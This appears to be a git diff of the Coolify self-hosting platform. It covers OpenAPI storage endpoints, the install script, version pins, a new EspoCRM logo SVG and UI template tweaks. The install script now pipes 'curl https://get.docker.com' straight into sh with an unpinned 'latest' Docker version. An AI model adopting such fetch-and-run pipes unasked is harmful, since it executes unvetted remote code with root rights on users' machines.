description: 'Update a persistent storage or file storage by service UUID.'
|
||||
operationId: update-storage-by-service-uuid
|
||||
parameters:
|
||||
-
|
||||
name: uuid
|
||||
in: path
|
||||
description: 'UUID of the service.'
|
||||
required: true
|
||||
schema:
|
||||
type: string
|
||||
requestBody:
|
||||
description: 'Storage updated. For read-only storages (from docker-compose or services), only is_preview_suffix_enabled can be updated.'
|
||||
required: true
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
required:
|
||||
- type
|
||||
properties:
|
||||
uuid:
|
||||
type: string
|
||||
description: 'The UUID of the storage (preferred).'
|
||||
id:
|
||||
type: integer
|
||||
description: 'The ID of the storage (deprecated, use uuid instead).'
|
||||
type:
|
||||
type: string
|
||||
enum: [persistent, file]
|
||||
description: 'The type of storage: persistent or file.'
|
||||
is_preview_suffix_enabled:
|
||||
type: boolean
|
||||
description: 'Whether to add -pr-N suffix for preview deployments.'
|
||||
name:
|
||||
type: string
|
||||
description: 'The volume name (persistent only, not allowed for read-only storages).'
|
||||
mount_path:
|
||||
type: string
|
||||
description: 'The container mount path (not allowed for read-only storages).'
|
||||
host_path:
|
||||
type: string
|
||||
nullable: true
|
||||
description: 'The host path (persistent only, not allowed for read-only storages).'
|
||||
content:
|
||||
type: string
|
||||
nullable: true
|
||||
description: 'The file content (file only, not allowed for read-only storages).'
|
||||
type: object
|
||||
additionalProperties: false
|
||||
responses:
|
||||
'200':
|
||||
description: 'Storage updated.'
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
type: object
|
||||
'401':
|
||||
$ref: '#/components/responses/401'
|
||||
'400':
|
||||
$ref: '#/components/responses/400'
|
||||
'404':
|
||||
$ref: '#/components/responses/404'
|
||||
'422':
|
||||
$ref: '#/components/responses/422'
|
||||
security:
|
||||
-
|
||||
bearerAuth: []
|
||||
'/services/{uuid}/storages/{storage_uuid}':
|
||||
delete:
|
||||
tags:
|
||||
- Services
|
||||
summary: 'Delete Storage'
|
||||
description: 'Delete a persistent storage or file storage by service UUID.'
|
||||
operationId: delete-storage-by-service-uuid
|
||||
parameters:
|
||||
-
|
||||
name: uuid
|
||||
in: path
|
||||
description: 'UUID of the service.'
|
||||
required: true
|
||||
schema:
|
||||
type: string
|
||||
-
|
||||
name: storage_uuid
|
||||
in: path
|
||||
description: 'UUID of the storage.'
|
||||
required: true
|
||||
schema:
|
||||
type: string
|
||||
responses:
|
||||
'200':
|
||||
description: 'Storage deleted.'
|
||||
content:
|
||||
application/json:
|
||||
schema:
|
||||
properties:
|
||||
message: { type: string }
|
||||
type: object
|
||||
'401':
|
||||
$ref: '#/components/responses/401'
|
||||
'400':
|
||||
$ref: '#/components/responses/400'
|
||||
'404':
|
||||
$ref: '#/components/responses/404'
|
||||
'422':
|
||||
$ref: '#/components/responses/422'
|
||||
security:
|
||||
-
|
||||
bearerAuth: []
|
||||
/teams:
|
||||
get:
|
||||
tags:
|
||||
|
|
|
|||
|
|
@ -20,7 +20,7 @@ DATE=$(date +"%Y%m%d-%H%M%S")
|
|||
|
||||
OS_TYPE=$(grep -w "ID" /etc/os-release | cut -d "=" -f 2 | tr -d '"')
|
||||
ENV_FILE="/data/coolify/source/.env"
|
||||
DOCKER_VERSION="27.0"
|
||||
DOCKER_VERSION="latest"
|
||||
# TODO: Ask for a user
|
||||
CURRENT_USER=$USER
|
||||
|
||||
|
|
@ -499,13 +499,10 @@ fi
|
|||
|
||||
install_docker() {
|
||||
set +e
|
||||
curl -s https://releases.rancher.com/install-docker/${DOCKER_VERSION}.sh | sh 2>&1 || true
|
||||
curl -fsSL https://get.docker.com | sh 2>&1 || true
|
||||
if ! [ -x "$(command -v docker)" ]; then
|
||||
curl -s https://get.docker.com | sh -s -- --version ${DOCKER_VERSION} 2>&1
|
||||
if ! [ -x "$(command -v docker)" ]; then
|
||||
echo "Automated Docker installation failed. Trying manual installation."
|
||||
install_docker_manually
|
||||
fi
|
||||
echo "Automated Docker installation failed. Trying manual installation."
|
||||
install_docker_manually
|
||||
fi
|
||||
set -e
|
||||
}
|
||||
|
|
@ -548,16 +545,6 @@ if ! [ -x "$(command -v docker)" ]; then
|
|||
echo " - Docker is not installed. Installing Docker. It may take a while."
|
||||
getAJoke
|
||||
case "$OS_TYPE" in
|
||||
"almalinux")
|
||||
dnf config-manager --add-repo=https://download.docker.com/linux/centos/docker-ce.repo >/dev/null 2>&1
|
||||
dnf install -y docker-ce docker-ce-cli containerd.io docker-compose-plugin >/dev/null 2>&1
|
||||
if ! [ -x "$(command -v docker)" ]; then
|
||||
echo " - Docker could not be installed automatically. Please visit https://docs.docker.com/engine/install/ and install Docker manually to continue."
|
||||
exit 1
|
||||
fi
|
||||
systemctl start docker >/dev/null 2>&1
|
||||
systemctl enable docker >/dev/null 2>&1
|
||||
;;
|
||||
"alpine" | "postmarketos")
|
||||
apk add docker docker-cli-compose >/dev/null 2>&1
|
||||
rc-update add docker default >/dev/null 2>&1
|
||||
|
|
@ -569,8 +556,9 @@ if ! [ -x "$(command -v docker)" ]; then
|
|||
fi
|
||||
;;
|
||||
"arch")
|
||||
pacman -Sy docker docker-compose --noconfirm >/dev/null 2>&1
|
||||
pacman -Syu --noconfirm --needed docker docker-compose >/dev/null 2>&1
|
||||
systemctl enable docker.service >/dev/null 2>&1
|
||||
systemctl start docker.service >/dev/null 2>&1
|
||||
if ! [ -x "$(command -v docker)" ]; then
|
||||
echo " - Failed to install Docker with pacman. Try to install it manually."
|
||||
echo " Please visit https://wiki.archlinux.org/title/docker for more information."
|
||||
|
|
@ -581,7 +569,7 @@ if ! [ -x "$(command -v docker)" ]; then
|
|||
dnf install docker -y >/dev/null 2>&1
|
||||
DOCKER_CONFIG=${DOCKER_CONFIG:-/usr/local/lib/docker}
|
||||
mkdir -p $DOCKER_CONFIG/cli-plugins >/dev/null 2>&1
|
||||
curl -sL "https://github.com/docker/compose/releases/latest/download/docker-compose-$(uname -s)-$(uname -m)" -o $DOCKER_CONFIG/cli-plugins/docker-compose >/dev/null 2>&1
|
||||
curl -fsSL "https://github.com/docker/compose/releases/latest/download/docker-compose-$(uname -s)-$(uname -m)" -o $DOCKER_CONFIG/cli-plugins/docker-compose >/dev/null 2>&1
|
||||
chmod +x $DOCKER_CONFIG/cli-plugins/docker-compose >/dev/null 2>&1
|
||||
systemctl start docker >/dev/null 2>&1
|
||||
systemctl enable docker >/dev/null 2>&1
|
||||
|
|
@ -591,34 +579,28 @@ if ! [ -x "$(command -v docker)" ]; then
|
|||
exit 1
|
||||
fi
|
||||
;;
|
||||
"centos" | "fedora" | "rhel" | "tencentos")
|
||||
if [ -x "$(command -v dnf5)" ]; then
|
||||
# dnf5 is available
|
||||
dnf config-manager addrepo --from-repofile=https://download.docker.com/linux/$OS_TYPE/docker-ce.repo --overwrite >/dev/null 2>&1
|
||||
else
|
||||
# dnf5 is not available, use dnf
|
||||
dnf config-manager --add-repo=https://download.docker.com/linux/$OS_TYPE/docker-ce.repo >/dev/null 2>&1
|
||||
fi
|
||||
"almalinux" | "tencentos")
|
||||
dnf config-manager --add-repo=https://download.docker.com/linux/centos/docker-ce.repo >/dev/null 2>&1
|
||||
dnf install -y docker-ce docker-ce-cli containerd.io docker-compose-plugin >/dev/null 2>&1
|
||||
systemctl start docker >/dev/null 2>&1
|
||||
systemctl enable docker >/dev/null 2>&1
|
||||
if ! [ -x "$(command -v docker)" ]; then
|
||||
echo " - Docker could not be installed automatically. Please visit https://docs.docker.com/engine/install/ and install Docker manually to continue."
|
||||
exit 1
|
||||
fi
|
||||
systemctl start docker >/dev/null 2>&1
|
||||
systemctl enable docker >/dev/null 2>&1
|
||||
;;
|
||||
"ubuntu" | "debian" | "raspbian")
|
||||
"ubuntu" | "debian" | "raspbian" | "centos" | "fedora" | "rhel" | "sles")
|
||||
install_docker
|
||||
if ! [ -x "$(command -v docker)" ]; then
|
||||
echo " - Automated Docker installation failed. Trying manual installation."
|
||||
install_docker_manually
|
||||
echo " - Docker could not be installed automatically. Please visit https://docs.docker.com/engine/install/ and install Docker manually to continue."
|
||||
exit 1
|
||||
fi
|
||||
;;
|
||||
*)
|
||||
install_docker
|
||||
if ! [ -x "$(command -v docker)" ]; then
|
||||
echo " - Automated Docker installation failed. Trying manual installation."
|
||||
install_docker_manually
|
||||
echo " - Docker could not be installed automatically. Please visit https://docs.docker.com/engine/install/ and install Docker manually to continue."
|
||||
exit 1
|
||||
fi
|
||||
;;
|
||||
esac
|
||||
|
|
@ -627,6 +609,19 @@ else
|
|||
echo " - Docker is installed."
|
||||
fi
|
||||
|
||||
# Verify minimum Docker version
|
||||
MIN_DOCKER_VERSION=24
|
||||
INSTALLED_DOCKER_VERSION=$(docker version --format '{{.Server.Version}}' 2>/dev/null | cut -d. -f1)
|
||||
if [ -z "$INSTALLED_DOCKER_VERSION" ]; then
|
||||
echo " - WARNING: Could not determine Docker version. Please ensure Docker $MIN_DOCKER_VERSION+ is installed."
|
||||
elif [ "$INSTALLED_DOCKER_VERSION" -lt "$MIN_DOCKER_VERSION" ]; then
|
||||
echo " - ERROR: Docker version $INSTALLED_DOCKER_VERSION is too old. Coolify requires Docker $MIN_DOCKER_VERSION or newer."
|
||||
echo " Please upgrade Docker: https://docs.docker.com/engine/install/"
|
||||
exit 1
|
||||
else
|
||||
echo " - Docker version $(docker version --format '{{.Server.Version}}' 2>/dev/null) meets minimum requirement ($MIN_DOCKER_VERSION+)."
|
||||
fi
|
||||
|
||||
log_section "Step 4/9: Checking Docker configuration"
|
||||
echo "4/9 Checking Docker configuration..."
|
||||
|
||||
|
|
|
|||
|
|
@ -1,7 +1,7 @@
|
|||
{
|
||||
"coolify": {
|
||||
"v4": {
|
||||
"version": "4.0.0-beta.469"
|
||||
"version": "4.0.0-beta.470"
|
||||
},
|
||||
"nightly": {
|
||||
"version": "4.0.0"
|
||||
|
|
@ -13,17 +13,17 @@
|
|||
"version": "1.0.11"
|
||||
},
|
||||
"sentinel": {
|
||||
"version": "0.0.19"
|
||||
"version": "0.0.21"
|
||||
}
|
||||
},
|
||||
"traefik": {
|
||||
"v3.6": "3.6.5",
|
||||
"v3.6": "3.6.11",
|
||||
"v3.5": "3.5.6",
|
||||
"v3.4": "3.4.5",
|
||||
"v3.3": "3.3.7",
|
||||
"v3.2": "3.2.5",
|
||||
"v3.1": "3.1.7",
|
||||
"v3.0": "3.0.4",
|
||||
"v2.11": "2.11.32"
|
||||
"v2.11": "2.11.40"
|
||||
}
|
||||
}
|
||||
|
|
|
|||
|
|
@ -22,6 +22,7 @@
|
|||
<env name="QUEUE_CONNECTION" value="sync" force="true"/>
|
||||
<env name="SESSION_DRIVER" value="array" force="true"/>
|
||||
<env name="TELESCOPE_ENABLED" value="false"/>
|
||||
<env name="NIGHTWATCH_ENABLED" value="false"/>
|
||||
</php>
|
||||
<source>
|
||||
<include>
|
||||
|
|
|
|||
82
public/svgs/espocrm.svg
Normal file
82
public/svgs/espocrm.svg
Normal file
|
|
@ -0,0 +1,82 @@
|
|||
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
|
||||
<svg
|
||||
width="379.36536"
|
||||
height="83.256203"
|
||||
enable-background="new 0 0 307.813 75"
|
||||
overflow="visible"
|
||||
version="1.1"
|
||||
viewBox="0 0 303.49228 66.604962"
|
||||
xml:space="preserve"
|
||||
id="svg20"
|
||||
sodipodi:docname="logo2.svg"
|
||||
inkscape:version="1.1.2 (0a00cf5339, 2022-02-04)"
|
||||
xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
|
||||
xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
|
||||
xmlns="http://www.w3.org/2000/svg"
|
||||
xmlns:svg="http://www.w3.org/2000/svg"><defs
|
||||
id="defs24" /><sodipodi:namedview
|
||||
id="namedview22"
|
||||
pagecolor="#ffffff"
|
||||
bordercolor="#666666"
|
||||
borderopacity="1.0"
|
||||
inkscape:pageshadow="2"
|
||||
inkscape:pageopacity="0.0"
|
||||
inkscape:pagecheckerboard="0"
|
||||
showgrid="false"
|
||||
scale-x="0.8"
|
||||
fit-margin-top="0"
|
||||
fit-margin-left="0"
|
||||
fit-margin-right="0"
|
||||
fit-margin-bottom="0"
|
||||
inkscape:zoom="2.172956"
|
||||
inkscape:cx="109.75832"
|
||||
inkscape:cy="79.384949"
|
||||
inkscape:window-width="1920"
|
||||
inkscape:window-height="1074"
|
||||
inkscape:window-x="0"
|
||||
inkscape:window-y="0"
|
||||
inkscape:window-maximized="1"
|
||||
inkscape:current-layer="svg20" />
|
||||
|
||||
<switch
|
||||
transform="matrix(1.089,0,0,1.089,-14.949525,-4.9304545)"
|
||||
id="switch18">
|
||||
<foreignObject
|
||||
width="1"
|
||||
height="1"
|
||||
requiredExtensions="http://ns.adobe.com/AdobeIllustrator/10.0/">
|
||||
|
||||
</foreignObject>
|
||||
<g
|
||||
transform="matrix(0.96767,0,0,0.96767,3.9659,-1.2011)"
|
||||
id="g16">
|
||||
|
||||
<path
|
||||
d="m 169.53,21.864 c -7.453,2.972 -9.569,11.987 -9.005,19.212 1.587,2.982 3.845,5.562 5.783,8.312 l 4.262,-1.083 c -1.796,-4.447 -1.689,-9.424 -0.806,-14.066 0.585,-3.001 2.309,-6.476 5.634,-7.032 5.307,-0.847 10.733,-0.271 16.088,-0.369 0.091,-2.196 0.115,-4.392 0.107,-6.585 -7.333,0.387 -15.043,-1.038 -22.063,1.611 z m 52.714,-1.294 c -8.12,-0.952 -16.332,-0.149 -24.492,-0.387 -0.021,6.43 -0.003,12.854 0.078,19.274 2.625,-0.849 5.251,-1.739 7.909,-2.532 0.042,-3.272 0.028,-6.527 -0.071,-9.789 4.869,-0.029 9.874,-0.757 14.639,0.451 1.838,0.298 2.051,2.25 2.687,3.641 2.541,-0.891 5.111,-1.717 7.672,-2.574 -0.703,-4.246 -4.129,-7.633 -8.422,-8.084 z m 23.522,-0.593 c -3.954,0.072 -7.912,0.064 -11.864,0.047 0.051,2.544 0.063,5.074 0.072,7.617 4.263,-1.482 8.553,-2.889 12.848,-4.268 -0.35,-1.128 -0.706,-2.268 -1.056,-3.396 z"
|
||||
fill="#6a3201"
|
||||
id="path2" />
|
||||
<path
|
||||
d="m 161.96,69.125 c 7.886,-3.717 15.757,-7.463 23.72,-11.018 5.563,0.359 11.146,0.021 16.722,0.193 1.14,-0.036 2.292,-0.061 3.432,-0.088 -0.011,-3.195 -0.025,-6.38 -0.082,-9.564 3.428,-1.502 10.227,-4.623 10.227,-4.623 l 15.215,13.941 11.096,0.106 -0.715,-26.236 0.803,-0.211 9.005,26.344 8.834,-0.066 8.99,-28.394 -0.308,28.434 8.074,-0.021 -0.231,-37.932 -9.279,0.071 30.625,-14.141 c 0,0 -37.593,14.279 -56.404,21.385 -2.996,1.022 -5.878,2.315 -8.853,3.394 -2.278,0.867 -4.558,1.713 -6.834,2.58 -20.071,7.526 -39.945,15.604 -60.126,22.803 C 159.094,45.56 150.557,36.228 144.103,25.497 Z m 72.116,-17.961 c -0.108,0.154 -0.324,0.458 -0.429,0.611 -3.448,-3.018 -6.765,-6.189 -10.21,-9.205 1.745,-1.096 3.47,-2.242 5.026,-3.597 1.625,-1.386 3.479,-2.469 5.345,-3.499 0.293,5.227 0.258,10.452 0.268,15.69 z m 23.942,-9.67 c -0.857,2.578 -1.825,5.137 -2.793,7.682 -1.644,-6.217 -3.94,-12.238 -5.856,-18.383 -0.119,-0.52 -0.366,-1.574 -0.487,-2.093 3.428,-1.709 10.585,-4.854 15.229,-6.815 -1.647,5.969 -4.306,14.029 -6.093,19.609 z"
|
||||
fill="#ffb300"
|
||||
id="path4" />
|
||||
|
||||
<g
|
||||
fill="#6a3201"
|
||||
id="g14">
|
||||
<path
|
||||
d="M 45.672,58.148 H 27.146 c -2.861,0 -5.614,-0.651 -8.257,-1.953 -2.861,-1.409 -5.043,-3.651 -6.547,-6.725 -1.503,-3.074 -2.254,-6.455 -2.254,-10.145 0,-3.652 0.724,-6.961 2.173,-9.926 1.594,-3.219 3.803,-5.569 6.628,-7.052 1.557,-0.795 3.052,-1.355 4.482,-1.682 1.43,-0.325 3.07,-0.488 4.917,-0.488 h 17.168 v 6.789 H 29.57 c -1.415,0 -2.602,0.187 -3.563,0.558 -0.961,0.372 -1.912,1.037 -2.855,1.994 -0.943,0.957 -1.597,1.887 -1.959,2.791 -0.363,0.902 -0.543,2.027 -0.543,3.375 h 25.023 v 6.789 H 20.648 c 0,1.24 0.164,2.325 0.491,3.256 0.327,0.93 0.919,1.887 1.776,2.871 0.856,0.985 1.749,1.732 2.677,2.242 0.929,0.512 2.03,0.767 3.306,0.767 h 16.774 z"
|
||||
id="path6" />
|
||||
<path
|
||||
d="m 76.499,49.519 c 0,2.397 -0.771,4.449 -2.312,6.154 -1.541,1.706 -3.49,2.56 -5.846,2.56 H 49.688 V 53.12 h 15.326 c 1.087,0 2.001,-0.272 2.744,-0.817 0.743,-0.545 1.115,-1.327 1.115,-2.345 0,-2.362 -1.595,-3.543 -4.783,-3.543 h -7.825 c -1.666,0 -3.278,-0.79 -4.836,-2.369 -1.559,-1.58 -2.336,-3.287 -2.336,-5.119 0,-2.585 0.579,-4.667 1.738,-6.248 1.34,-1.794 3.313,-2.692 5.922,-2.692 h 17.928 v 5.364 H 58.743 c -0.614,0 -1.147,0.289 -1.599,0.868 -0.452,0.579 -0.677,1.235 -0.677,1.972 0,0.807 0.298,1.498 0.896,2.076 0.597,0.579 1.311,0.867 2.144,0.867 h 8.415 c 2.643,0 4.733,0.79 6.271,2.369 1.536,1.579 2.306,3.584 2.306,6.016 z"
|
||||
id="path8" />
|
||||
<path
|
||||
d="m 109.29,43.414 c 0,4.495 -1.166,8.074 -3.497,10.738 -2.331,2.664 -5.395,3.996 -9.188,3.996 H 88.419 V 68.457 H 80.792 V 29.985 h 15.09 c 4.27,0 7.6,1.269 9.989,3.806 2.279,2.428 3.419,5.637 3.419,9.623 z m -7.627,0.405 c 0,-2.356 -0.754,-4.286 -2.262,-5.793 -1.509,-1.505 -3.388,-2.258 -5.641,-2.258 h -5.341 v 16.429 h 5.886 c 2.179,0 3.951,-0.771 5.313,-2.313 1.363,-1.54 2.045,-3.562 2.045,-6.065 z"
|
||||
id="path10" />
|
||||
<path
|
||||
d="m 145.1,43.967 c 0,4.896 -1.557,8.65 -4.669,11.261 -2.86,2.394 -6.751,3.591 -11.673,3.591 -4.923,0 -8.742,-1.087 -11.456,-3.264 -3.15,-2.502 -4.724,-6.401 -4.724,-11.696 0,-4.424 1.701,-7.906 5.104,-10.446 3.04,-2.283 6.786,-3.427 11.238,-3.427 4.887,0 8.805,1.225 11.754,3.673 2.949,2.448 4.426,5.884 4.426,10.308 z m -8.382,-0.065 c 0,-2.285 -0.716,-4.197 -2.146,-5.738 -1.432,-1.54 -3.379,-2.312 -5.841,-2.312 -2.246,0 -4.103,0.79 -5.57,2.366 -1.467,1.577 -2.2,3.563 -2.2,5.955 0,2.756 0.743,4.949 2.228,6.581 1.485,1.632 3.405,2.448 5.76,2.448 2.679,0 4.673,-0.852 5.977,-2.557 1.193,-1.557 1.792,-3.805 1.792,-6.743 z"
|
||||
id="path12" />
|
||||
</g>
|
||||
</g>
|
||||
</switch>
|
||||
|
||||
</svg>
|
||||
|
After Width: | Height: | Size: 5.9 KiB |
|
|
@ -163,7 +163,7 @@ tbody {
|
|||
}
|
||||
|
||||
tr {
|
||||
@apply text-black dark:text-neutral-400 dark:hover:bg-black hover:bg-neutral-200;
|
||||
@apply text-black dark:text-neutral-400 dark:hover:bg-coolgray-300 hover:bg-neutral-100;
|
||||
}
|
||||
|
||||
tr th {
|
||||
|
|
|
|||
|
|
@ -190,7 +190,7 @@ class="relative w-auto h-auto">
|
|||
@endif
|
||||
<template x-teleport="body">
|
||||
<div x-show="modalOpen"
|
||||
class="fixed top-0 left-0 z-99 flex items-center justify-center w-screen h-screen p-4" x-cloak>
|
||||
class="fixed top-0 left-0 z-99 flex items-center justify-center w-screen h-screen p-0 sm:p-4" x-cloak>
|
||||
<div x-show="modalOpen" class="absolute inset-0 w-full h-full bg-black/20 backdrop-blur-xs">
|
||||
</div>
|
||||
<div x-show="modalOpen" x-trap.inert.noscroll="modalOpen" x-transition:enter="ease-out duration-100"
|
||||
|
|
@ -199,7 +199,7 @@ class="fixed top-0 left-0 z-99 flex items-center justify-center w-screen h-scree
|
|||
x-transition:leave="ease-in duration-100"
|
||||
x-transition:leave-start="opacity-100 translate-y-0 sm:scale-100"
|
||||
x-transition:leave-end="opacity-0 -translate-y-2 sm:scale-95"
|
||||
class="relative w-full border rounded-sm min-w-full lg:min-w-[36rem] max-w-[48rem] max-h-[calc(100vh-2rem)] bg-neutral-100 border-neutral-400 dark:bg-base dark:border-coolgray-300 flex flex-col">
|
||||
class="relative w-full border rounded-none sm:rounded-sm min-w-full lg:min-w-[36rem] max-w-full sm:max-w-[48rem] h-screen sm:h-auto max-h-screen sm:max-h-[calc(100vh-2rem)] bg-neutral-100 border-neutral-400 dark:bg-base dark:border-coolgray-300 flex flex-col">
|
||||
<div class="flex justify-between items-center py-6 px-7 shrink-0">
|
||||
<h3 class="pr-8 text-2xl font-bold">{{ $title }}</h3>
|
||||
<button @click="modalOpen = false; resetModal()"
|
||||
|
|
|
|||
|
|
@ -12,17 +12,18 @@
|
|||
$projects = $projects ?? Project::ownedByCurrentTeamCached();
|
||||
$environments = $environments ?? $resource->environment->project
|
||||
->environments()
|
||||
->select('id', 'uuid', 'name', 'project_id')
|
||||
->with([
|
||||
'applications',
|
||||
'services',
|
||||
'postgresqls',
|
||||
'redis',
|
||||
'mongodbs',
|
||||
'mysqls',
|
||||
'mariadbs',
|
||||
'keydbs',
|
||||
'dragonflies',
|
||||
'clickhouses',
|
||||
'applications:id,uuid,name,environment_id',
|
||||
'services:id,uuid,name,environment_id',
|
||||
'postgresqls:id,uuid,name,environment_id',
|
||||
'redis:id,uuid,name,environment_id',
|
||||
'mongodbs:id,uuid,name,environment_id',
|
||||
'mysqls:id,uuid,name,environment_id',
|
||||
'mariadbs:id,uuid,name,environment_id',
|
||||
'keydbs:id,uuid,name,environment_id',
|
||||
'dragonflies:id,uuid,name,environment_id',
|
||||
'clickhouses:id,uuid,name,environment_id',
|
||||
])
|
||||
->get();
|
||||
$currentProjectUuid = data_get($resource, 'environment.project.uuid');
|
||||
|
|
@ -63,7 +64,7 @@ class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolg
|
|||
</li>
|
||||
|
||||
<!-- Environment Level -->
|
||||
<li class="inline-flex items-center" x-data="{ envOpen: false, activeEnv: null, envPositions: {}, activeRes: null, resPositions: {}, activeMenuEnv: null, menuPositions: {}, closeTimeout: null, envTimeout: null, resTimeout: null, menuTimeout: null, toggle() { this.envOpen = !this.envOpen; if (!this.envOpen) { this.activeEnv = null; this.activeRes = null; this.activeMenuEnv = null; } }, open() { clearTimeout(this.closeTimeout); this.envOpen = true }, close() { this.closeTimeout = setTimeout(() => { this.envOpen = false; this.activeEnv = null; this.activeRes = null; this.activeMenuEnv = null; }, 100) }, openEnv(id) { clearTimeout(this.closeTimeout); clearTimeout(this.envTimeout); this.activeEnv = id }, closeEnv() { this.envTimeout = setTimeout(() => { this.activeEnv = null; this.activeRes = null; this.activeMenuEnv = null; }, 100) }, openRes(id) { clearTimeout(this.envTimeout); clearTimeout(this.resTimeout); this.activeRes = id }, closeRes() { this.resTimeout = setTimeout(() => { this.activeRes = null; this.activeMenuEnv = null; }, 100) }, openMenu(id) { clearTimeout(this.resTimeout); clearTimeout(this.menuTimeout); this.activeMenuEnv = id }, closeMenu() { this.menuTimeout = setTimeout(() => { this.activeMenuEnv = null; }, 100) } }">
|
||||
<li class="inline-flex items-center" x-data="{ envOpen: false, activeEnv: null, envPositions: {}, closeTimeout: null, envTimeout: null, toggle() { this.envOpen = !this.envOpen; if (!this.envOpen) { this.activeEnv = null; } }, open() { clearTimeout(this.closeTimeout); this.envOpen = true }, close() { this.closeTimeout = setTimeout(() => { this.envOpen = false; this.activeEnv = null; }, 100) }, openEnv(id) { clearTimeout(this.closeTimeout); clearTimeout(this.envTimeout); this.activeEnv = id }, closeEnv() { this.envTimeout = setTimeout(() => { this.activeEnv = null; }, 100) } }">
|
||||
<div class="flex items-center relative" @mouseenter="open()"
|
||||
@mouseleave="close()">
|
||||
<a class="text-xs truncate lg:text-sm hover:text-warning" {{ wireNavigate() }}
|
||||
|
|
@ -80,17 +81,18 @@ class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolg
|
|||
</svg>
|
||||
</button>
|
||||
|
||||
<!-- Environment Dropdown Container -->
|
||||
<!-- Environment Dropdown -->
|
||||
<div x-show="envOpen" @click.outside="close()" x-transition:enter="transition ease-out duration-200"
|
||||
x-transition:enter-start="opacity-0 scale-95" x-transition:enter-end="opacity-100 scale-100"
|
||||
x-transition:leave="transition ease-in duration-75" x-transition:leave-start="opacity-100 scale-100"
|
||||
x-transition:leave-end="opacity-0 scale-95" class="absolute z-20 top-full mt-1 left-0 sm:left-auto max-w-[calc(100vw-1rem)]" x-init="$nextTick(() => { const rect = $el.getBoundingClientRect(); if (rect.right > window.innerWidth) { $el.style.left = 'auto'; $el.style.right = '0'; } })">
|
||||
x-transition:leave-end="opacity-0 scale-95"
|
||||
class="absolute z-20 top-full mt-1 left-0 sm:left-auto max-w-[calc(100vw-1rem)]"
|
||||
x-init="$nextTick(() => { const rect = $el.getBoundingClientRect(); if (rect.right > window.innerWidth) { $el.style.left = 'auto'; $el.style.right = '0'; } })">
|
||||
<!-- Environment List -->
|
||||
<div
|
||||
class="relative w-48 bg-white dark:bg-coolgray-100 rounded-md shadow-lg py-1 border border-neutral-200 dark:border-coolgray-200 max-h-96 overflow-y-auto scrollbar">
|
||||
@foreach ($environments as $environment)
|
||||
@php
|
||||
// Use pre-loaded relations instead of databases() method to avoid N+1 queries
|
||||
$envDatabases = collect()
|
||||
->merge($environment->postgresqls ?? collect())
|
||||
->merge($environment->redis ?? collect())
|
||||
|
|
@ -101,26 +103,17 @@ class="relative w-48 bg-white dark:bg-coolgray-100 rounded-md shadow-lg py-1 bor
|
|||
->merge($environment->dragonflies ?? collect())
|
||||
->merge($environment->clickhouses ?? collect());
|
||||
$envResources = collect()
|
||||
->merge(
|
||||
$environment->applications->map(
|
||||
fn($app) => ['type' => 'application', 'resource' => $app],
|
||||
),
|
||||
)
|
||||
->merge(
|
||||
$envDatabases->map(fn($db) => ['type' => 'database', 'resource' => $db]),
|
||||
)
|
||||
->merge(
|
||||
$environment->services->map(
|
||||
fn($svc) => ['type' => 'service', 'resource' => $svc],
|
||||
),
|
||||
);
|
||||
->merge($environment->applications->map(fn($app) => ['type' => 'application', 'resource' => $app]))
|
||||
->merge($envDatabases->map(fn($db) => ['type' => 'database', 'resource' => $db]))
|
||||
->merge($environment->services->map(fn($svc) => ['type' => 'service', 'resource' => $svc]))
|
||||
->sortBy(fn($item) => strtolower($item['resource']->name));
|
||||
@endphp
|
||||
<div @mouseenter="openEnv('{{ $environment->uuid }}'); envPositions['{{ $environment->uuid }}'] = $el.offsetTop - ($el.closest('.overflow-y-auto')?.scrollTop || 0)"
|
||||
@mouseleave="closeEnv()">
|
||||
<a href="{{ route('project.resource.index', [
|
||||
'environment_uuid' => $environment->uuid,
|
||||
'project_uuid' => $currentProjectUuid,
|
||||
]) }}" {{ wireNavigate() }}
|
||||
'environment_uuid' => $environment->uuid,
|
||||
'project_uuid' => $currentProjectUuid,
|
||||
]) }}" {{ wireNavigate() }}
|
||||
class="flex items-center justify-between gap-2 px-4 py-2 text-sm hover:bg-neutral-100 dark:hover:bg-coolgray-200 {{ $environment->uuid === $currentEnvironmentUuid ? 'dark:text-warning font-semibold' : '' }}"
|
||||
title="{{ $environment->name }}">
|
||||
<span class="truncate">{{ $environment->name }}</span>
|
||||
|
|
@ -150,31 +143,29 @@ class="flex items-center gap-2 px-4 py-2 text-sm hover:bg-neutral-100 dark:hover
|
|||
<!-- Resources Sub-dropdown (2nd level) -->
|
||||
@foreach ($environments as $environment)
|
||||
@php
|
||||
$envDatabases = collect()
|
||||
->merge($environment->postgresqls ?? collect())
|
||||
->merge($environment->redis ?? collect())
|
||||
->merge($environment->mongodbs ?? collect())
|
||||
->merge($environment->mysqls ?? collect())
|
||||
->merge($environment->mariadbs ?? collect())
|
||||
->merge($environment->keydbs ?? collect())
|
||||
->merge($environment->dragonflies ?? collect())
|
||||
->merge($environment->clickhouses ?? collect());
|
||||
$envResources = collect()
|
||||
->merge(
|
||||
$environment->applications->map(
|
||||
fn($app) => ['type' => 'application', 'resource' => $app],
|
||||
),
|
||||
)
|
||||
->merge(
|
||||
$environment
|
||||
->databases()
|
||||
->map(fn($db) => ['type' => 'database', 'resource' => $db]),
|
||||
)
|
||||
->merge(
|
||||
$environment->services->map(fn($svc) => ['type' => 'service', 'resource' => $svc]),
|
||||
);
|
||||
->merge($environment->applications->map(fn($app) => ['type' => 'application', 'resource' => $app]))
|
||||
->merge($envDatabases->map(fn($db) => ['type' => 'database', 'resource' => $db]))
|
||||
->merge($environment->services->map(fn($svc) => ['type' => 'service', 'resource' => $svc]));
|
||||
@endphp
|
||||
@if ($envResources->count() > 0)
|
||||
<div x-show="activeEnv === '{{ $environment->uuid }}'" x-cloak
|
||||
x-transition:enter="transition ease-out duration-150"
|
||||
x-transition:enter-start="opacity-0" x-transition:enter-end="opacity-100"
|
||||
@mouseenter="openEnv('{{ $environment->uuid }}')"
|
||||
@mouseleave="closeEnv()"
|
||||
@mouseenter="openEnv('{{ $environment->uuid }}')" @mouseleave="closeEnv()"
|
||||
